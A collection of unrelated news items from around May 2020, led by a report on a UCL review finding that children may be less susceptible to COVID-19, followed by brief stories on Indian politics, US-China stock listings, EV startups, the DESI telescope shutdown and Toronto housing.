El Caracol's volunteers took part in workshops to learn more about the coronavirus epidemic and how to detect potential cases
Boys wear masks while riding bikes in Baku, Azerbaijan. (Getty Images)

Children may be half as likely to catch the coronavirus, research suggests.

Since the outbreak emerged at the end of 2019, experts have wondered how susceptible youngsters are to the infection and how readily they may pass it on.

While the vast majority of deaths worldwide have occurred in the elderly, NHS doctors have been warned to look out for signs of multi system inflammation after a handful of children ended up in hospital with life-threatening symptoms.

Medics have likened this to Kawasaki disease, which is thought to come about when the immune system over-reacts to an infection.

This has raised concerns about whether it is safe for children to go back to school, with primary students in England expected in the classroom as soon as 1 June.

With some calling for schools to remain closed until September, a study review by scientists at University College London (UCL) suggests children who are exposed to the coronavirus may be 56% less likely to catch it than adults.

The governments Scientific Advisory Group for Emergencies (Sage) announced the risk of children returning to the classroom is very, very small, but not zero.

Early research suggests the coronavirus is mild in four out of five cases, however, it can trigger a respiratory disease called COVID-19.

Children wear masks in New York. (Getty Images)

Coronavirus: Children a very small per cent of confirmed cases

There is an increasing amount of data now available on children and COVID-19, and this is the first comprehensive study to carefully review and summarise what we do and do not know about susceptibility and transmission, said lead author Professor Russell Viner.

Our findings show children and young people appear 56% less likely to contract COVID-19 from infected others.

Susceptibility is a key part of the chain of infection, and this supports the view that children are likely to play a smaller role in transmitting the virus and proliferating the pandemic, although considerable uncertainty remains.

This new data provides essential evidence to governments around the world to inform their decision-making on whether to reopen schools and reduce or end lockdown measures.

Story continues

The scientists looked at more than 6,000 studies carried out all over the world, of which 18 were suitable for inclusion in their analysis.

They found youngsters were on average 56% less likely to catch the coronavirus from an infected person than those over 20.

Although unclear, the pathogen may not take hold as easily in young lungs. Exposure to milder strains of the coronavirus class, like those that cause colds, may also give children some immunity.

The scientists could not conclude whether children who are infected pass the coronavirus on as readily as adults.

They added, however, youngsters likely play a lesser role in the transmission of the virus because fewer become infected in the first place.

It is well known children and young people make up only a very small per cent of confirmed clinical cases of COVID-19, in most countries, including the UK, said Professor Viner.

Children and teenagers make up an even smaller proportion of severe cases or deaths.

However such data about confirmed infection among clinical cases tells us little about susceptibility or transmission; as most children have few, if any, symptoms and therefore many do not present for testing or come to the attention of doctors.

To understand susceptibility and transmission it was essential we looked at studies which trace and test all the close contacts of those with infection and at studies which screen whole populations for infections and not just those with symptoms.

The scientists stressed the results have been released preliminarily and are yet to be peer-reviewed.

Peer-reviewing involves experts not involved in the research critiquing it in a non-biased way. Nevertheless, Sage reportedly considered the UCL teams findings in its review.

UCL scientist Professor Chris Bonell described the studies they analysed as being low in number and of mixed quality.

Dr Michael Head from University of Southampton added: This is a good quality systematic review and useful addition to the evidence base regarding the views that children are typically less likely to be infected than adults.

However, there is still a key question that we do not fully understand and that is the role of children in transmission.

Its a key topic in the UK, with some children returning to school on 1 June.

For example, many care home and domiciliary care staff will have school-age children, and it is vital we can be sure there will be no significant chain of transmission between children and then onto parents who work close to vulnerable populations.

We must recognise this virus is with us and restart our lives

On 22 May, the Independent Sage  an alternative to official Sage  said schools should not open on 1 June because there is no clear evidence it is safe.

By going ahead with this dangerous decision, the government is further risking the health of our communities and the likelihood of a second spike, said Sir David King, former chief scientific advisor and chair of Independent Sage.

However we also recognise the decision of when to re-open our schools is a careful balance and it is vital for our young people to get back into the classroom as soon as it is safe to do so.

The current climate is likely to disproportionately affect the most disadvantaged in society; therefore it is vital the government also considers innovative ways to help those who need it most.

Independent Sage has argued schools should not reopen until local test, track and isolate systems are in place, which the UCL scientists agreed is important.

When asked if it is safe to open schools during a Science Media Centre briefing, Professor Viner said: I believe its not helpful to make statements of safety as absolutes.

There are safety issues in walking out the front door, there are safety issues getting in our car to drive our children to school.

We must recognise this virus is with us and restart our lives in a way that balances safety with benefit.

What we can do is partition risks.

It has been suggested groups of children could attend school at different times, have socially-distant breaks or sit further apart at their desks.

Professor Bonell admitted we do not know how effective any of these measures will be at combatting the coronavirus outbreak, but added they may act synergistically.

We need to put [in place] a range of measures that act in the same direction so we get synergy, he said.

Children aside, Professor Bonell added it will also be important to ensure parents do not mix at the school gates.

A source involved with official Sage told the BBC: It is totally impossible to say any change has no risk at all, as long as virus is circulating in us, and there is no immunity, there is some risk.

The risk is low and in this case it is not particularly higher than in other environments.

Only government authorities in England have suggested youngsters may be back in June.

A masked man plays with his daughter on Seal Beach, California. (Getty Images)

What is the coronavirus?

The coronavirus is one of seven strains of a virus class that are known to infect humans.

Others cause everything from the common cold to severe acute respiratory syndrome (Sars), which killed 774 people during its 2002/3 outbreak.

Since the coronavirus outbreak was identified, more than 5.1 million cases have been confirmed worldwide, according to Johns Hopkins University.

Of these cases, over 1.9 million are known to have recovered.

Globally, the death toll has exceeded 333,000.

The coronavirus mainly spreads face to face via infected droplets expelled in a cough or sneeze.

There is also evidence it is transmitted in faeces and can survive on surfaces.

Symptoms include fever, cough and slight breathlessness.

The coronavirus has no set treatment, with most patients naturally fighting off the infection.

Those requiring hospitalisation are given supportive care, like ventilation, while their immune system gets to work.

Officials urge people ward off infection by washing their hands regularly and maintaining social distancing.

Coronavirus: what happened today

Read more about COVID-19

How to get a coronavirus test if you have symptoms

What you can and cant do under lockdown rules

In pictures: How UK school classrooms could look in new normal

How public transport could look after lockdown

How our public spaces will change in the future

Help and advice

Read the full list of official FAQs here

10 tips from the NHS to help deal with anxiety

What to do if you think you have symptoms

How to get help if you've been furloughed
The state encourages applicants to try to fill out claims online first, but many people have run into problems and then must call the office at 800-244-5631 for help. Some applicants have said theyve called dozens of times a day to try to find help, though the Illinois Department of Employment Security said it has doubled the number of workers in call centers to assist claimants.
The Longding district



administration in Arunachal Pradesh has restricted movement of people from Assam, after Sonari town in that state reported two new COVID-19 cases, officials said.

The district has proximity to Assam through Sonari town in Sibsagar district.

Longding Deputy Commissioner Chesta Yadav, in an order issued on Friday, prohibited unauthorised entry of labourers and other people from Assam following the reports of the fresh coronavirus cases on Thursday.

The order also said no pass would be issued to any individual for travel to Assam and back, except for medical emergencies.

However, movement of essential services would be allowed and passes need to be obtained from the DC's office at Longding and additional deputy commissioner's office at Kanubari, it added.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
The University of California regents voted unanimously on Thursday to suspend SAT and ACT testing requirements for admission through 2024, and to move to full elimination or implementation of a replacement test by 2025.

Why it matters: ACT and SAT testing requirements have come under scrutiny in recent years, and Thursday's decision could broadly alter the college admissions process. Advocates argue that university admission based on standardized test scores unjustly favors affluent students who can afford to take the tests multiple times or seek tutoring.

The state of play: The plan will make the tests optional for students over the next two years, and then eliminate them entirely for California students in the third and fourth years.
BJP leader Devendra Fadnavis on



Friday led the opposition party's state-wide protest against the "failure" of the Shiv Sena-headed Maha Vikas Aghadi (MVA) government to curb the coronavirus spread in Maharashtra.

Fadnavis along with senior colleague Vinod Tawde and Mumbai BJP president Mangal Prabhat Lodha held protest at the state party office in Nariman point, holding placards and sporting black face mask and black ribbon.

Another BJP leader Ashish Shelar, accompanied by party workers, was at a party office in the suburbs where they staged a 'dharna' holding placards with messages critical of the MVA government over its handling of the COVID-19 crisis in Maharashtra which has recorded more than 40,000 cases so far.

The BJP had given a call for "Maharashtra Bachao" agitation asking party workers to protest against the government outside their homes adhering to social distancing norms amid the coronavirus-enforced lockdown.

BJP leaders stood outside party offices and took part in the protest. The agitation lasted for an hour and ended around noon.

The opposition party has alleged the Uddhav Thackeray administration has "failed" to curb the spread of the viral infection in the state.

Meanwhile, the Congress, the Shiv Sena and the NCP - all constituents of the ruling coalition - hit back at the BJP on their social media platforms.

State Congress spokesman Sachin Sawant wondered how the BJP can think of at the time of a crisis when doctors, nurses, police and the administration are fighting an enemy called coronavirus.

"Ahmedabad (till) Thursday had recorded 9,449 positive cases and 619 deaths. Will the BJP do a Gujarat Bachao andolan and ask for the President's rule in the state," he asked.

NCP leaders used the hashtag MaharashtradrohiBJP (Maharashtra treacherous BJP) to hit out at the opposition party.

The Shiv Sena, in an editorial in its mouthpiece 'Saamana', said the BJP's agitation against the Thackeray-led government at the time of a health crisis will boomerang on the opposition party.

Indecisiveness and strategic errors of the Maharashtra government have aggravated the COVID-19 crisis in the state, Fadnavis said on Thursday and accused Chief Minister Uddhav Thackeray of over dependence on bureaucracy as he is "scared" of taking initiatives.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
Source: Xinhua| 2020-05-22 21:33:40|Editor: huaxia

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NEW DELHI, May 22 (Xinhua) -- Indian Prime Minister Narendra Modi has expressed his condolences at the loss of human lives in the plane crash in Pakistan on Friday.

"Deeply saddened by the loss of life due to a plane crash in Pakistan. Our condolences to the families of the deceased, and wishing speedy recovery to those injured," tweeted Modi said on Twitter.

Some 100 people were onboard the ill-fated plane belonging to the Pakistan International Airlines, confirmed the airlines' spokesman.

The Airbus A320 which took off from Lahore, crashed into a densely populated residential area in Karachi minutes before landing, according to media. Enditem
Bank of America has signed a $1 million deal with Liberty Science Center in Jersey City to be a founding corporate sponsor of LSCs SciTech Scity  a proposed 30-acre innovation campus that will include a K-12 school.

The aim of the innovation campus is to launch and grow dozens of world-changing science and technology companies, LSC officials said. The City of Tomorrow will also be a place where companies and researchers test  and residents and visitors experience  new high-tech products and services before they come to market, officials said.

It will bring together entrepreneurs, scientists, academics, students, and other thinkers and doers who share Alan Kays prescription that the best way to predict the future is to invent it, said Hoffman.

We are grateful to Bank of America for its confidence in our vision, said Paul Hoffman, LSC president and CEO. Science and technology are the keys to the economic, social, and intellectual future of our country. With SciTech Scity, we are building a unique campus to foster science and tech entrepreneurship.

In addition to the donation, Bank of Americas Head of Global Business Services Sumeet Chabria has joined the SciTech Scity board of trustees. Chabria is a thought leader on the impact of artificial intelligence and is a member of the Council on the Responsible Use of Artificial Intelligence at the Harvard Kennedy School.

Bank of America is proud to be a founding partner of SciTech Scity as it works to invent a better future, today, said Chabria. ... SciTech Scity is creating that vision and purpose with a one-of-a-kind environment where science and technology leaders can thrive and achieve their full potential.

In 2017 the cost of the ambitious project was estimated at $276 million. The project was first announced in 2015.

The first phase of SciTech Scity is expected to open in late 2022 or 2023. It includes these new construction projects:

Edge Works: A central location for innovation comprising two distinct hubs. The Works will have a fabrication lab, research and development spaces, offices, and co-working areas for start-ups and entrepreneurs. The Co-Creation Center will be a state-of-the-art conference center and tech exhibition gallery.

Scholars Village: Residential housing for innovators, scientists, entrepreneurs, STEM graduate students, and individuals and families who desire to be a part of the SciTech Scity community.

Public Commons: Five-acre outdoor park with activations that encourage exploration, creativity, collaboration, and innovation. An events plaza for concerts, farmers markets, art exhibitions, and food-truck festivals.

Subsequent phases of SciTech Scity will include expanded incubation space, a science-focused public school, and other facilities to drive STEM innovation and job creation.

Previously, former Rep. Frank Guarini donated $10 million, the largest gift to date. Other supporters EY and Verizon as founding corporate sponsors, and city of Jersey City, Joseph D. and Millie E. Williams and LSC Board Co-Chair David Barry. The SciTech Scity campus will be named the Frank J. Guarini Innovation Campus and include 12.5 acres donated by Jersey City.
The New York Stock Exchange building is seen adorned with banners on September 19, 2014 as Chinese giant Alibaba makes its Wall Street debut. JEWEL SAMAD | AFP | Getty Images

Already bad friction between the U.S. and China has ratcheted higher in recent weeks, and now it's expanded onto another front: the stock market. As the coronavirus crisis draws on, the relationship has gotten more strained, with each country blaming the other about the true extent and origin of the coronavirus outbreak. U.S. President Donald Trump also threatened tariffs on China again this month. In the latest move, the U.S. Senate passed legislation on Wednesday that could restrict Chinese companies from listing on American exchanges or raise money from U.S. investors, unless they abide by Washington's regulatory and audit standards. Though the law could be applied to any foreign company that seeks access to U.S. money, lawmakers say the move is targeted at Beijing. U.S.-listed shares of Chinese tech giant Alibaba dropped more than 2% on that news.

That issue is set to remain contentious, analysts say, as U.S.-China tensions take center stage  ahead of the U.S. presidential elections in November, where U.S. President Donald Trump will try to hold onto the White House. "In the past several months, US politicians proposed to delist Chinese companies from US stock exchanges with different criteria, and cap Americans' exposure to the Chinese market," analysts from investment bank China Renaissance wrote in a Thursday note. "We expect the debate to remain among the top topics of the 2020 US presidential election." Louisiana Republican Sen. John Kennedy, who sponsored the bill, would require companies to certify that "they are not owned or controlled by a foreign government." "The Chinese Communist Party cheats, and the Holding Foreign Companies Accountable Act would stop them from cheating on U.S. stock exchanges," Kennedy, a member of the Senate Banking Committee, had tweeted.

According to China Renaissance, apart from the delisting of Chinese companies, other actions the U.S. could take would include capping Americans' exposure to the Chinese market through government pension funds, and putting limits on the Chinese companies included in stock indices managed by U.S. firms. That pressure would inevitably cause more Chinese firms to go elsewhere, analysts say. Many of them have traditionally flocked to list in the U.S. because of the associated prestige, as well as a more attractive environment with better valuations and a more knowledgeable investor base. "This would definitely drive more Chinese companies to list in the greater China area," said Tianjun Wu, deputy economist at the Economist Intelligence Unit.

More Chinese companies will flock to Hong Kong

Even as the U.S. is tightening rules, Hong Kong has been making it easier for companies with primary listings elsewhere  such as the U.S.  to list on its stock exchange. Just this week, Hong Kong's benchmark Hang Seng index made a major change which paved the way for China's tech giants to expand their trading presence in Asia and give more investors access to their stocks. The Hang Seng index will for the first time allow companies with primary listings elsewhere, as well as those with dual-class shares, to be included in the 50-year-old benchmark. That followed a similar move by the city's stock exchange in 2018 to also allow secondary listings. More U.S.-listed Chinese companies are likely to take advantage of the easing to plan secondary listings in Hong Kong, says investment bank Morgan Stanley in a Monday report. It pointed out that a number of such companies, such as JD.com and Trip.com, are reportedly already planning secondary listings in the Chinese city. Morgan Stanley says it expects this trend to continue, given the increased American scrutiny on Chinese companies. Chinese tech giant Baidu said Thursday in an interview with China Daily that it is "discussing options" such as a secondary listing in Hong Kong or other places. "Our basic judgement is, if it's a good company, there are many options for places to list. It's not limited to the U.S., so we aren't that worried that pressure from the U.S. government will cause irreparable damage to the company's business," said Baidu CEO Robin Li in that interview, according to a CNBC translation. According to data from Chinese Renaissance, 36 Chinese firms listed in the U.S. qualifies for a secondary listing in Hong Kong.

Chinese companies could lose 'brand premium'
Two electric vehicle startups  Rivian and Lucid Motors  are best positioned to survive the fallout from the pandemic, industry experts tell Axios.

Why it matters: With solid funding and strong in-house technology, they've got a path to success  provided they can get back on track quickly as the economy recovers.

Rivian could have the best shot at survival for a number of reasons.

It's developing a line of premium electric trucks and SUVs under the Rivian brand, but also marketing its core EV technology to other manufacturers, notably Amazon, which has placed an order for 100,000 electric delivery vans.

Rivian's business-to-business play sets it apart from Tesla and all the other electric vehicle companies trying to get off the ground, notes Sam Abuelsamid, principal analyst at Guidehouse Insights.

The Michigan-based company founded by CEO R.J. Scaringe is well-funded with more than $3 billion raised from Amazon, Ford, T. Rowe Price and others, including Dubai-based conglomerate Abdul Latif Jameel, a big Toyota and Lexus distributor.

Production was supposed to start at the end of this year but was pushed into 2021 because the pandemic temporarily slowed construction at Rivian's Illinois factory.

Lucid is targeting the luxury market  as are many EV startups  but it's the most likely to emulate Tesla's success.

Lucid CEO Peter Rawlinson, after all, was the chief engineer for Tesla's breakthrough product, the Model S sedan.

"Suddenly, there's a whole phalanx of companies, predominantly in California, saying, 'If Tesla could do it...' without any idea of how the stars aligned for Tesla," Rawlinson tells Axios.

Lucid's edge, he said, is its proprietary electric powertrain, which is smaller, yet far more efficient than rivals, freeing up more space for passengers.

Lucid also benefited from some good fortune. Its factory is going up in Arizona, where construction was allowed to continue during the government shutdown  with appropriate health safety protocols, Rawlinson said.

Lucid raised $1 billion from Saudi Arabia's Public Investment Fund in September 2018 to launch its first vehicle, the $100,000-plus Lucid Air.

Rawlinson said Lucid's next model, an electric SUV, will depend on additional fundraising.

Go deeper: Electric vehicle startups try to keep the spark alive during coronavirus uncertainty
Amid reports of a rift between the two countries, Russias ambassador in Damascus has insisted that they remain close allies reports Al-Watan.

Russias Ambassador to Damascus, Aleksandr Yefimov, confirmed in an interview with Al-Watan that there is no basis to the rumors currently circulating about a dispute in relations between Russia and Syria, and that those lying and spreading fake news about cooperation between Moscow and Damascus are simply carrying out media sabotage. Those who benefit from the fake news about Russia and Syria are those two countries opponents, who need an opportunity to offend and distort all their positive achievements secured in recent years.

Efimov stressed that actors working against Syria and Russia, after failing to achieve their destructive goals through military force, are trying to exert political pressure on Damascus and choke it with unprecedented economic sanctions. They remain empty-handed, and are trying to use all means, including pathetic attempts at finding faults that do not exist in relations between Russia and Syria, in order to separate our two countries.

The Russian ambassador stressed that these attempts will fail, adding, They will not be allowed to even approach the intended results. In other words, the dog barks, and the caravan continues on its way. Russian-Syrian relations are stronger today than ever before, distinguished by their friendly and strategic nature and aimed at achieving joint goals to benefit both the Russian and Syrian people.

Regarding continued violations of the Moscow agreement in Idleb, Yefimov indicated that militants there did not recognize the existing ceasefire agreement, and are doing all they can to break it. They are continuing to bomb and attack Syrian Arab Army locations and trying to hit Russian military facilities in Hemeimeem, as well as hinder joint Russian-Turkish patrols. These realities confirm that Idleb is not a so-called last refuge for the moderate opposition. It is a stronghold for terrorists and criminals whose presence cannot be tolerated forever. We affirm that ceasefire agreements in Idleb do not eliminate the need to continue relentlessly fighting terrorism and restore sovereignty over Syrian territory to the legitimate Syrian authorities as quickly as possible, Yefimov said.

The Russian ambassador added that his and other countries had called for an immediate and complete end to unilateral sanctions hindering Syrias efforts to fight the coronavirus epidemic. Unfortunately, these calls have not been met, and those sides known for supporting sanctions do not intend on abandoning that approach. On the contrary, they are prepared to intensify pressure on the countries they are not satisfied with.

Yefimov stressed in his interview with Al-Watan that his country does not abandon its Syrian friends, and it communicates its support for legitimate Syrian authorities, and wishes to help them defend the rights of the Syrian people within the framework of international human rights law.

This article was translated and edited by The Syrian Observer. The Syrian Observer has not verified the content of this story. Responsibility for the information and views set out in this article lies entirely with the author.
Before COVID-19 hit US, project was on track to begin its 3D map of the universe this summer

The Dark Energy Spectroscopic Instrument (DESI), installed on an Arizona mountaintop, was quickly moving through its testing stages and making headway toward the start of its 5-year observing run as project participants from around the world traveled to attend a DESI collaboration meeting in Tucson, Arizona, in early March.

But as cases of COVID-19 were mounting in the U.S. and other nations around the world, collaboration leaders acted quickly to pull the plug on the in-person meeting - planned from March 9-13, 2020 - and to transition to an online meeting.

"We already had people in the air coming to the U.S. from all parts of the world: France, the U.K., Taiwan, and Korea," said Michael Levi, DESI project director and a scientist at the U.S. Department of Energy's Lawrence Berkeley National Laboratory (Berkeley Lab), which is the lead institution for the DESI project.

Meeting organizers helped travelers who had already made the journey to Tucson find ways to return home before the onset of widespread travel restrictions. "No one got stranded," Levi said. Others were able to cancel their travel plans in time. The hurriedly planned online meeting drew about 200 participants, which was actually higher than the usual in-person head count, he noted.

At that time, it wasn't yet clear how the spread of COVID-19 would affect daily life in the U.S., or the DESI project itself. The meeting content focused, instead, on the science that would come out of DESI. The instrument will search for new insights into dark energy, responsible for the universe's mysteriously accelerating expansion, by measuring the light of tens of millions of galaxies to produce the most massive 3D map of the universe.

"The meeting wasn't about the instrument today, it was about the science tomorrow," Levi noted. "We didn't quite know what was in store for us. We were still figuring that out at the time."

But as the virtual meeting progressed, day by day it became more and more clear that the response to COVID-19 would lead to big, unforeseen changes for the U.S., and for DESI and all of its participants.

"By March 13, the last day of the meeting, we realized we would be shutting down the instrument," Levi said, "which we would do the following Monday. We realized we could no longer run at all."

In the last two days before this closure, DESI crews raced to use the instrument to capture some night-sky measurements. They succeeded in collecting the light signatures, or spectra, for about 100,000 objects in those final days, and researchers are still poring through this data.

By March 18, crews at the Kitt Peak National Observatory site where DESI is installed had successfully shut down all of DESI's systems. Kitt Peak is a part of the National Science Foundation's National Optical-Infrared Astronomy Research Laboratory.

Some of the data collected just before the shutdown would help to validate for federal reviewers that the project had completed its construction phase and was ready to begin a final testing period toward startup once it was brought online again. The federal review, which DESI passed, took place just days after the shutdown.

Despite DESI's shutdown, Levi said that a variety of project work is still moving forward:

The final data release from a series of pre-DESI surveys, which will be used to help select galaxies and ultrabright objects called quasars for DESI to target, will be publicly released within a couple months. The collaboration uses supercomputers at Berkeley Lab's National Energy Research Scientific Computing Center to process this data.

Analysis of data that DESI has already collected during its early testing is ongoing.

Researchers can test the systems in DESI's high-tech focal plane, which is equipped with 5,000 swiveling robotic positioners that point fiber-optic cables at preselected sequences of galaxies and quasars, by remotely accessing a sample focal plane "wedge" at Berkeley Lab containing 500 of these positioners.

Some hardware development is continuing. Robert Besuner, DESI project manager and a Berkeley Lab affiliate who is an engineer at UC Berkeley's Space Sciences Laboratory, for example, has worked with other collaboration members to design and order needed components for installation on DESI. They worked on a device that is intended to prevent condensation from gathering on DESI's lenses during this shutdown period, for example, and another to monitor air quality at the DESI site. To carry out this work, Besuner ordered parts from 3D-printing shops and other machining firms. The assembled devices were shipped to the DESI site for installation by essential workers there.

And all DESI conversations and meetings have moved online.

"We have considerable online and remote-work capabilities," Levi said. "People are very industrious in getting this work done."

When the DESI team does receive all of the necessary approvals to proceed with the project, it will happen in stages, Levi noted.

The first phase of DESI's restart will involve instrument maintenance carried out by crews stationed at the Kitt Peak site, he said. In the next phase, when travel is allowed, Berkeley Lab researchers will travel to the site to turn the instrument back on.

Then, DESI researchers will begin detailed testing of the instrument's systems to ensure they are working as designed, and in the final phase the instrument will perform night-sky measurements again in preparation for its formal startup.

NERSC is a DOE Office of Science user facility.

###

Founded in 1931 on the belief that the biggest scientific challenges are best addressed by teams, Lawrence Berkeley National Laboratory and its scientists have been recognized with 13 Nobel Prizes. Today, Berkeley Lab researchers develop sustainable energy and environmental solutions, create useful new materials, advance the frontiers of computing, and probe the mysteries of life, matter, and the universe. Scientists from around the world rely on the Lab's facilities for their own discovery science. Berkeley Lab is a multiprogram national laboratory, managed by the University of California for the U.S. Department of Energy's Office of Science.

DOE's Office of Science is the single largest supporter of basic research in the physical sciences in the United States, and is working to address some of the most pressing challenges of our time. For more information, please visit energy.gov/science.

DESI is supported by the Director, Office of Science, Office of High Energy Physics of the U.S. Department of Energy under Contract No.DE-AC02-05CH1123, and by the National Energy Research Scientific Computing Center, a DOE Office of Science User Facility under the same contract; additional support for DESI is provided by the U.S. National Science Foundation, Division of Astronomical Sciences under Contract No. AST-0950945 to the NSF's National Optical-Infrared Astronomy Research Laboratory; the Science and Technologies Facilities Council of the United Kingdom; the Gordon and Betty Moore Foundation; the Heising-Simons Foundation; the French Alternative Energies and Atomic Energy Commission (CEA); the National Council of Science and Technology of Mexico; the Ministry of Economy of Spain, and by the DESI Member Institutions. The authors are honored to be permitted to conduct astronomical research on Iolkam Du'ag (Kitt Peak), a mountain with particular significance to the Tohono O'odham Nation.
Dear Editor:

Many of us in Ulster County have observed our school-age children and college students, or have been listening to neighbors and friends weigh in on how their kids have fared the past two months amid the abrupt, COVID-forced distance learning.

Some students  mostly independent, highly motivated learners  have prospered academically. Others, whose skills and inclinations suggest they need social and supportive arrangements in schools to succeed, might have struggled with the online lessons our admirable educators have created in short order.

Nationally, were having critical debates about the extent to which online learning can or should be woven into future K-12 classes and about the tuition that colleges should charge for off-campus semesters.

These debates are moot for the many families whose neighborhoods and regions are poorly served by broadband internet service. Students without a quality internet connection are doomed to fall behind their more privileged peers.

Fortunately, Ulster County has been well-served by its state and congressional representatives, who have worked diligently to use the power of government to bring broadband to our underserved, often rural areas. State Sen. Jen Metzger, D-Rosendale, has introduced a bill (S5696A) that would require the New York Public Service Commission to study the availability, affordability and reliability of high-speed internet and broadband access in New York state and produce a detailed access map on its website that indicates internet service by location. Another would require the commission to be a more effective watchdog of internet providers, especially those with monopolies, to ensure they meet required standards.

U.S. Rep. Antonio Delgado, D-Rhinebeck, successfully pressed the Federal Communications Commission to direct federal funding to Ulster County for broadband after it initially deemed the county unqualified.

Metzger and Delgado are examples of elected representatives who have kept their promises to improve the lives of the people who elected them.

Tom Denton

Highland, N.Y.
(TENNESSEE)-Laurie Cardoza-Moore has called on the Israeli government to ban GOD TV from broadcasting programs focused on converting Jews to Christianity. Cardoza-Moore is the founder of Proclaiming Justice to The Nations and host of the award-winning Evangelical Christian television program Focus On Israel, which formerly aired globally on GOD TV and is currently syndicated on other Christian channels reaching a weekly audience of billions. The statement comes after GOD TV announced that they have received special permission from the Israeli government to proselytize Jews in Hebrew...
By Trend

The U.S. government has announced allocation of additional $3 million to Uzbekistan through the US Agency for International Development (USAID), as part of a comprehensive response to the COVID-19 pandemic, Trend reports citing the US Embassy in Tashkent.

The overall direct US government contribution in support of Uzbekistan will reach $5.92 million, of which USAID has already provided approximately $3.8 million.

"With this and previously announced funding, the US government supports Uzbekistan's efforts to combat the COVID-19 pandemic by providing advice and technical assistance to prevent the spread of infection in medical and diagnostic facilities," the US Embassy said.

USAID's programs in Uzbekistan also aim to prepare laboratory systems for large-scale testing and improve treatment of infected patients. In addition, they facilitate interaction with local communities by providing accurate information to vulnerable populations to help stop the spread of COVID-19.

Earlier, the US Government has allocated $100,000 for purchase and distribution of essential supplies to families affected by the disaster of the Sardobin water reservoir in Syrdarya region.

--

Follow us on Twitter @AzerNewsAz
Toronto cant afford to grow up or out in the coming decade. In the post-pandemic world it will have to gently fill in.

With COVID-19 making 60-storey condo towers unappealing to many  and the idea of losing farmland to spreading suburbs increasingly foolhardy  residential development in the GTA will have to take on new and more affordable forms, many experts say.

Its not a new concept.

Cherise Burda, executive director of Ryerson Universitys City Building Institute, has been advocating for and looking at alternative models to what she calls the tall and sprawl for years.

Those have been the two ways weve added housing to our city and our region for decades, she says, adding that neither model has delivered much in the way of affordable or livable housing in the past.

And neither is suitable for a new normal where social distancing, a secure food supply, and housing that the front-line workers who got us through the pandemic can afford will be essential.

Whats needed is a new planning strategy that opens up the GTAs vast swaths of residential neighbourhoods to more intensive development, says James McKellar, a professor of real estate and infrastructure at York University.

There are certain things we know we should have changed pre-COVID, says McKellar, associate dean of external relations at Yorks Schulich School of Business. One of them is that we have a zoning system ... that makes a lot of money for the rich by basically freezing about 70 per cent of the land in the city thats occupied by single family housing.

This locked-in land  which under current zoning regulations little new residential building can penetrate  is what has driven farmland into suburbs, downtown condos skyward and led to soaring housing prices across the region, McKellar says.

And while these real estate factors existed long before the virus struck, the consequences of leaving them in place will be much worse in its wake, he says.

We know that our zoning has to change, that weve got to be able to build housing within cities other than 80-storey condos, says McKellar, pointing out that these buildings could be shunned by COVID-cowed buyers in the foreseeable future.

Meanwhile, he says, the virus may have finally driven home the notion that sprawl development destroys the farmland that could feed the city during a similar catastrophe.

Most of what we have to change we already knew, McKellar says.

What COVID has simply done is shown the consequences of our stupidity and how radically now were going to have to shift things in a very short period of time.

But looking forward to Toronto in 2030, another inextricable factor  our aging population  will make the citys current housing stock and strategies unsustainable, McKellar says.

Weve got a huge freight train on the move that isnt going to change, he says. Within 10 to 15 years, 35 per cent of all households will be over 65 (years of age).

This exploding demographic is going to require new housing that allows older people to live independently, is convenient to local amenities and is far safer than the long-term-care homes that the current pandemic has ravaged.

The demographics havent changed and theyre really not in our favour, McKellar says.

To deal with these emerging pandemic and demographic realities, the city will have to open up to new development in existing residential areas and the thoroughfares that feed them, Burda says.

That doesnt mean losing the distinctive neighbourhoods that give Toronto its unique and enviable character, she says.

We can distribute our destiny in a more gentle and thoughtful way throughout our neighbourhoods, says Burda, whose institute released a report this spring called Density Done Right.

There are numerous ways to get it right, she says.

These include:

The conversion of single-family homes into three or four unit apartments.

Adding storeys of living space above existing retail and business properties on main streets.

Building small, but architecturally appealing condo or apartment buildings  rather than monster homes  on large, teardown bungalow lots.

Building lowrise condos or apartment complexes on parking lots or on gas station or fast food properties, rather than on the sites of razed shops and restaurants that give main streets their heritage and character.

The use of modular building techniques that can add living space to empty lots or on top of commercial properties without lengthy and disruptive construction.

You can create a lot of housing that isnt in the form of towers, which would better suit families and create tons of opportunities for livability and for sustainability, Burda says.

It was something that we were trying to see happen before the pandemic, but as of now its really critical, she says.

Such developments would also provide affordable alternatives to further farmland developments that the new urge to isolation could spawn, Burda says.

I think theres this knee-jerk reaction that oh, my gosh weve got to run for the hills and were going to go back to suburban sprawl,  she says.

But this (pandemic) is not going to be with us forever and well want to have health services and well want to be able to walk to grocery stores ... and to our parks.

Yes, the increased density in residential neighbourhoods could make automobile traffic levels  already overwhelming road capacities  worse still. But McKellar says theres a solution to increased traffic chaos that the new housing strategies could help foster.

Ban the car, he says. Its that simple.

While McKellar admits that a car-less city is not realistic, he argues there are municipal strategies that can force some vehicles off the roads  such as allowing vehicles with specific licence plates access to major routes and areas on alternate days.

As well, he says, intensifying development in existing neighbourhoods will make them more amenable to alternative and healthier modes of travel  including biking, electric cycles, walking and transit.

This type of residential development would also be more affordable and attainable for low income earners  whose value to society the virus has laid bare.

Whether any of this will happen or not, however, has yet to be revealed, says Eric Miller, a professor of civil engineering and a city-building expert at the University of Toronto.

Were in the middle of something and where things are going to land eventually is very hard to say, Miller says.

But the pandemic does give us time to at least think of alternative housing and city building strategies, he says.

It also gives us an unprecedented opportunity to rethink priorities  like do we or dont we have the moral obligation to offer proper, convenient and affordable housing to working class people?

We are recognizing these people not only exist but how important they are to what is essential and what is valuable, Miller says.

I think that is very front and centre right now.

Whether it remains there, and prompts the political and social pressure that would ensure they are provided the proper housing  and other social benefits  long denied them, is unclear, Miller says.

Will that translate into a real ... movement or as soon as we get back to normal will we forget about it? he says.

I would hope that there would be a real, thoughtful reassessment of what we want our city to be and what we want it to look like and how we organize it.

One Toronto. Two possible futures. Ten years to get it right. Toronto has never been bigger, bolder and more successful  or faced so many serious problems. To attract talent and grow sustainably, we need to address the citys transportation, affordability and infrastructure needs. If we ignore these threats, the inner city buckles. Its time to start thinking about solutions.
Help India!

By Mahibul Hoque, TwoCircles.net

Delhi: While representations by Muslim community in socio-political sphere of India largely remain meagre, a think tank consisting prominent Muslim figures is a welcome step. To represent the interests of the community, more than 200 Muslim leaders came together to form Indian Muslims for Progress and Reforms (IMPAR), a policy advocacy forum in April 2020.

